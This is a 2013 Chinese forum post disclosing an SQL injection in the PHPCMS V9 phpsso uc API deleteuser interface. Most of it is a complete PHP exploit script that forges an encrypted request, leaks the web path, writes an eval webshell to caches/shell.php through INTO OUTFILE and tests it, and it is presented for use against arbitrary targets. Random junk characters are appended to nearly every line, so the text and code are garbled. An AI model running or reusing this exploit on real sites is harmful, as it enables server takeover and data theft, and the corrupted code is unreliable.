找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1908|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
! Y: v6 l& V% ~3 `5 F! m. p, I( G. |! S/ @$ u3 X
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
2 D5 \9 @9 Z$ u9 @1 Q6 W  L
1 T: z) E* T- j5 F0 Z2 \& e; n8 Q漏洞分析:
9 C9 [$ \  t& X1.未启用ucenter服务的情况下uc_key为空
5 ?/ L0 F7 A  e3 x8 n3 N1 Wdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
2 g0 _8 g8 j# Z) c5 m+ S7 l2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
0 x2 c% ~/ a) P    public function deleteuser($get,$post) {
8 [; u+ @( d+ {        pc_base::load_app_func('global', 'admin');' X: U- U, S9 L( L+ }( R
        pc_base::load_app_class('messagequeue', 'admin' , 0);! ?$ L* B+ M, M3 W1 g
        $ids = new_stripslashes($get['ids']);
+ I- k) h2 d  y0 y* v# w. C5 M1 }' V' d        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
, r1 |* A+ @1 L, }% A& }( Y% USQL语句为
& r! I& c. B3 L& o# M6 mSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)4 b* e' s$ v- a; K; T

0 S. i8 _* N& y1 Z' |利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell& K0 Y4 w: e6 \' M- ?% \, Q
<?php
# D. F/ Q9 B( yprint_r('
% j( c/ F* T( I* Q8 g1 G0 ~$ j---------------------------------------------------------------------------
+ e7 {9 Z% e6 ^8 m! T- O6 yPHPcms (v9 or Old Version) uc api sql injection 0day  x; M1 j1 Y' r9 W
by rayh4c#80sec.com
; j. G3 ]5 ?( s" [! i9 i; K2 n$ E% H---------------------------------------------------------------------------
# a/ P9 d+ D9 X" n5 z');
& ]' F6 Z1 {; {. c4 S- F
$ Z) E& h- h% l7 l+ V9 u/ D9 Yif ($argc<3) {% ^1 {* k* }# l0 g0 F
    print_r(') V, Z, q. P" m& Y- K  U9 K9 O
---------------------------------------------------------------------------6 m9 H2 `8 V0 y6 Q5 E5 ?9 _) C3 \. n
Usage: php '.$argv[0].' host path OPTIONS
% U/ {" C# o( O/ c8 x0 u. R% Fhost:      target server (ip/hostname)
, a  _+ v* ?# Y& Mpath:      path to phpcms
" O$ \7 ~3 d( wOptions:
8 p. I( X& A  @( m- _ -p[port]:    specify a port other than 80
8 c  {% v# [) }9 ?% c$ A( U% s -P[ip:port]: specify a proxy, A/ w) q$ b( W5 }5 g/ v: }( E
Example:5 A, z' b# u6 Q
php '.$argv[0].' localhost /* S+ X9 ^  I4 C: ?8 y# Z  H
php '.$argv[0].' localhost /phpcms/ -p81
' S- i$ C" u! q" k. kphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
; k( Z& F5 e0 z' I2 ~6 A; _---------------------------------------------------------------------------
( V) {2 u# c; n5 n');
8 b. |$ S9 V; K+ F1 W3 A& o    die;+ ]8 d+ A; z7 T3 {; j8 d
}. B/ {; F, T/ z6 D

9 J% w0 J! v- aerror_reporting(7);
& r# o( Y5 {1 k/ R, ^2 \, P3 V: Mini_set("max_execution_time",0);6 _+ {- k. C$ y* i4 O+ F9 ~: p7 E# Y
ini_set("default_socket_timeout",5);
. w6 o4 ~+ ~; R5 r
  z% n* T3 S2 [7 R4 R5 |" t5 Kfunction quick_dump($string)( U1 a) V0 r# U6 q. ?1 L& o0 }- a
{! C& }3 c4 d0 O1 `7 m" a. j  S0 T: y
  $result='';$exa='';$cont=0;
6 k, J4 [5 u6 X) K! ~  for ($i=0; $i<=strlen($string)-1; $i++)$ v. [2 ~- ^! m# g/ P$ H5 h
  {: j0 I& v( \8 H# u- J3 }
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
, ~: X8 g9 t% N4 {; O+ R" M8 P" J   {$result.="  .";}9 J% D9 b5 v' q0 A7 K
   else9 ^" w9 C. f; V( I
   {$result.="  ".$string[$i];}
3 ?1 s0 y2 t6 y. }7 u: m   if (strlen(dechex(ord($string[$i])))==2), ^. M" t3 S0 D/ x# O$ A
   {$exa.=" ".dechex(ord($string[$i]));}
$ a: n% R/ h$ N3 [8 U   else
3 U6 q0 }+ V: W8 k/ Z   {$exa.=" 0".dechex(ord($string[$i]));}
- l) q4 g: M% i' a$ z4 P- q. S   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
" [* P% j) D5 d  ?$ d8 p+ F" K( I# K) Q  }
, I7 e! s/ l9 a% p% C8 Y5 Q5 r return $exa."\r\n".$result;
# c, j  N9 \+ G% R}$ W8 w  ?9 w: T% {$ t) R( \
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';1 ]7 x& r, `2 R: a
* Z7 e/ Q( |* Y+ p/ y0 o
function send($packet). U4 m1 ^4 T" X$ Z6 ^
{( F* m  M2 g& G6 x8 s% f$ t0 u
  global $proxy, $host, $port, $html, $proxy_regex;
3 G' r( m( J9 o7 m  if ($proxy=='') {
" P1 i2 o( i3 r    $ock=fsockopen(gethostbyname($host),$port);5 {/ t8 `8 Q: \5 I. ]
    if (!$ock) {
' ]2 ~7 n. C* k  o- H2 X" [      echo 'No response from '.$host.':'.$port; die;
8 V: {. x3 {/ Z) v    }" {7 }/ u8 u. k" s6 Z0 |2 b8 Y8 k( s
  }
: t9 p" Y* Z. z( \0 h* _2 c4 \/ l  else {: [) j" z& l0 L
        $c = preg_match($proxy_regex,$proxy);
5 m) v7 ?; h: J& h9 ?    if (!$c) {
7 y% n$ A3 [: P' n( f      echo 'Not a valid proxy...';die;! `9 i! c/ i, r5 N
    }
5 C: g3 ^. w$ `% {+ |% m    $parts=explode(':',$proxy);
1 Z1 }  a' s0 K: K9 I5 x    $parts[1]=(int)$parts[1];: d! i! X5 ^+ o+ O# t
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";3 n& `3 N9 a, `( s1 [; D$ n+ ]
    $ock=fsockopen($parts[0],$parts[1]);# W2 n) [; P8 {! B+ B
    if (!$ock) {# O) {! Y! z* O7 T+ q" J3 [
      echo 'No response from proxy...';die;
; _; z1 `% j8 j) ]        }
$ v/ Z( B6 ?( `& C) V: l  }' N4 D8 S5 B6 `0 Y$ n/ y* g* m
  fputs($ock,$packet);
4 Z3 I& A% c9 |9 B7 |  if ($proxy=='') {
" _# d4 Q& \0 N: i3 {    $html='';
/ m6 e' ?3 X- n    while (!feof($ock)) {4 h4 p0 @/ F4 W# d8 k( `
      $html.=fgets($ock);
0 S) P  @) F7 B' f    }
0 C; |& K* O: C( N* e; H! E) T7 L  }
8 P1 S1 N' Z! Z7 H# C  else {
! d# p: z: w; v; Z    $html='';
) Q8 M8 C/ r7 O1 }4 @5 z; B    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {( M! p$ m( U" B
      $html.=fread($ock,1);5 Z" `8 @+ u1 g0 u! H2 f; {
    }! a; l) k3 a* e9 }- W! f5 N- G
  }
% m# n4 A" h' p. N- r" P  fclose($ock);
; I0 q: C# y8 Q. X3 a0 K}
2 ]: b2 I% m1 }4 c. ^2 }  z+ o0 a7 }1 Y5 R1 V) J# Z) H+ k& U: I
$host=$argv[1];
" r" M+ f) J) d# h7 A1 B0 g$path=$argv[2];
$ e  H0 I1 ^3 n9 T( R# m$port=80;7 _3 S) f. m) \$ B- \: ?. l* u
$proxy="";
" l6 {4 q& H, J" v* m( xfor ($i=3; $i<$argc; $i++){
3 ^- e( W) }8 Y( h) F9 D$temp=$argv[$i][0].$argv[$i][1];
8 a0 n! j' J! N* U) iif ($temp=="-p")) o& X2 Q" v) Q. Q
{$ _$ r, C7 S1 v1 z  q* L
  $port=(int)str_replace("-p","",$argv[$i]);, o' `+ h& q  N# G6 z" D
}
1 f. K, q  I! k" {- |7 Aif ($temp=="-P")
1 {7 ^" _4 @& E8 R{$ H; k) s. i. X5 Q* Z
  $proxy=str_replace("-P","",$argv[$i]);( \( G; D7 A3 p, e
}. S5 ?7 r/ t* ]  p2 x
}
) a) X' p2 W0 Y. M
2 x- a( v  g3 I' ]' Dif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}7 \2 j7 f( {' K* P
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
: B8 |. M( T+ R& ]( D0 E5 \7 }, o; X5 D( S- t, ^% h& e6 l
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {! R* G. k0 ^% D9 t# f; ~8 I4 L3 I
" a4 Z; q; x# B. e; d& n
    $ckey_length = 4;3 ]# u! F$ F$ u

. R/ A6 Y$ S+ L    $key = md5($key ? $key : '');- W+ C3 M! Q2 Q; S
    $keya = md5(substr($key, 0, 16));3 [# W% E. O: M5 ?
    $keyb = md5(substr($key, 16, 16));
# A4 k& u8 \" U( h+ i    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';4 ^$ _' s- d( {5 A& r) e
' w2 ~' B* P  R0 h& L) p1 Q
    $cryptkey = $keya.md5($keya.$keyc);/ n( |% @; r- [3 x
    $key_length = strlen($cryptkey);
& N# ?4 p3 k) A, g4 C
) n3 {9 B) y5 `' |3 W    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;0 a7 d! F, o8 w, J9 R( W
    $string_length = strlen($string);
- w& ^! A" i' Q! m' z3 D0 }5 i& o  V
    $result = '';
, u. D; h1 B6 c* ]  e7 Z  `, ]! A5 E) T  ]    $box = range(0, 255);% V/ H/ g# v: E5 t7 G5 T
: }; G8 [- s" @% ?3 m8 C; x
    $rndkey = array();
1 j6 [* C* h& F    for($i = 0; $i <= 255; $i++) {
/ [8 j% C1 i- y: r0 u; I        $rndkey[$i] = ord($cryptkey[$i % $key_length]);& `; u8 J. {, K1 p: T  b
    }5 M( s# w0 p. w9 o( R, Z6 N4 P

2 p* r# `, o4 q' Y& m7 ~% A& k    for($j = $i = 0; $i < 256; $i++) {
% k! V8 i* ^) q0 H, i        $j = ($j + $box[$i] + $rndkey[$i]) % 256;& O* X$ _$ ]+ L0 {3 s8 ]5 q
        $tmp = $box[$i];
1 h1 u; U- E# o0 q! N1 @( ~9 \' f3 C4 s        $box[$i] = $box[$j];6 W0 }2 n$ r4 Q' o* {3 X
        $box[$j] = $tmp;; |: B9 w6 r) W% a5 w6 a$ z
    }
7 Z  |0 ^  ]* x6 B/ C* d, h: S1 a  x( `0 d0 L! u% _
    for($a = $j = $i = 0; $i < $string_length; $i++) {
5 Q+ S4 G' E# B, T        $a = ($a + 1) % 256;
3 o. Z7 Y2 M+ D0 u% ]( y        $j = ($j + $box[$a]) % 256;- u) k. ~& g( t, K
        $tmp = $box[$a];( h, K3 g. O" I
        $box[$a] = $box[$j];9 s9 K# ~8 O& B: H
        $box[$j] = $tmp;
3 d( Q% w/ ^* d2 f        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));, n- v! H8 u2 a2 s: u) y
    }
$ }$ W/ t/ J  Y! J8 Y0 X, |, c5 h
; v6 K( {1 _  r/ s    if($operation == 'DECODE') {
, Q4 i5 m; ^) v1 X7 _& I        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {: x$ M$ [4 w/ P% c/ d5 @
            return substr($result, 26);
  M# C( m: K7 \( K7 a        } else {
! O1 j# W: k( [            return '';
, T( O3 X6 |: V. j2 Z4 {        }  ~" B6 k: f: x+ C/ a' H
    } else {( K' ^1 s2 P7 u
        return $keyc.str_replace('=', '', base64_encode($result));! k* N! c1 s3 p5 u; ?7 F$ V
    }
6 M+ q$ k$ j+ ]0 ?4 P8 j5 q- _
9 `' K) l# g; u% y, I}
$ b0 T6 _' z4 r8 I9 V& B. ^1 s  A# `3 }; e
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";3 `' ]- [5 s% X( c4 p! F
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
- L; x2 ]2 u# I+ X& l% becho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
& j4 g) }/ q3 D4 G$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
: E- R8 P3 U3 B, b8 H/ h$packet.="User-Agent: Mozilla/5.0\r\n";7 y2 b5 Y  J# {% O; w/ @
$packet.="Host: ".$host."\r\n";
9 t! i8 f3 z" O6 o0 ~$packet.="Connection: Close\r\n\r\n";
% u2 X$ m4 y4 W. c: rsend($packet);
: c& N% Z9 L0 K5 Y0 F5 aif(strpos($html,"MySQL Errno") > 0){, v6 b. I% h. D! ~- N
echo "[2] 发现存在SQL注入漏洞"."\n";
- M" v" `7 s3 U& J* q0 uecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";( Q' ~$ I7 T" C0 Y" i2 o5 k/ y2 C
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";. J' {4 Z5 f# k( T
$packet.="User-Agent: Mozilla/5.0\r\n";; x8 r% x( O0 w9 |; u/ l6 L+ @
$packet.="Host: ".$host."\r\n";
: y! a5 H. L0 B: K9 ~# P5 l$packet.="Connection: Close\r\n\r\n";
$ b6 k' ]+ t. t3 y4 @send($packet);. c5 ^2 c5 a' G: \9 a! Y
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
: f; z$ Y0 K3 ^# O0 f//print_r($matches);! n) `* B7 O6 h- T* I3 }& b7 t6 h3 ]
if(!empty($matches)){
/ V  H1 f4 `5 ]echo "[4] 得到web路径 " . $matches[0]."\n";. c0 V$ V# b1 @9 [
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";) c( C9 ~2 r2 x) ~: w4 n" H
$SQL = "time=999999999999999999999999&ids=1)";
& d9 `. @6 v. ~) Q( L7 D$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";- Q, R* d) Q, j. I1 J  `) ^, G) |
$SQL.="&action=deleteuser";* m) l3 I. m" }- x1 c
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
+ Z) }+ @# E) _+ d. Techo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";" a0 f* }0 G/ U7 D3 t& |
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";" A4 r7 L  }, c2 f% i- S( |
$packet.="User-Agent: Mozilla/5.0\r\n";
/ y  Y3 [0 u* E' {. i: z$packet.="Host: ".$host."\r\n";
+ f* A9 w. F  M4 p/ h0 Z; q$packet.="Connection: Close\r\n\r\n";
3 v; k( G, g" A2 I! qsend($packet);5 j( m% M2 T8 h
if(strpos($html,"Access denied") > 0){
$ s8 p$ i# x5 P$ Y  Zecho "[-] MYSQL权限过低 禁止写入文件 ";
2 Q* w- v, C" T, W$ ldie;  F. f9 y+ g% h5 U
}
% v" P! k% T- Q4 u5 `1 decho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";- ~* W8 n, u% p' ?8 F# V9 i
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";  C) t& v! `$ z# B, r% \
$packet.="User-Agent: Mozilla/5.0\r\n";# i0 p- l/ |# n2 X# K( Z, T; W
$packet.="Host: ".$host."\r\n";
) X* e4 b) M- ^! N3 C# G$packet.="Connection: Close\r\n\r\n";& [3 v1 C4 j, `' W$ j% _
send($packet);" N; t, H) ^( T# c) }
if(strpos($html,"<title>phpinfo()</title>") > 0){
6 t& p) P% ^/ a  c* techo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
  U5 B; p; b% D, [1 R7 x}0 ^. Z$ F+ ?: `; J" \
}else{% b. X" R: g. h7 t# }$ Q
echo "[-]未取到web路径 ";
* v$ E" M) T6 m3 ^}
' S/ q" d  n' G/ x2 N/ N0 Y8 F9 C}else{
6 t, y" E2 U4 x% N6 Recho "[*]不存在SQL注入漏洞"."\n";
; I& `7 U# r0 N}7 r' D( [- v3 H0 i

$ E- o( `9 o& p?>
: a0 G3 O$ x0 a" ~$ t( i, P# B7 T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表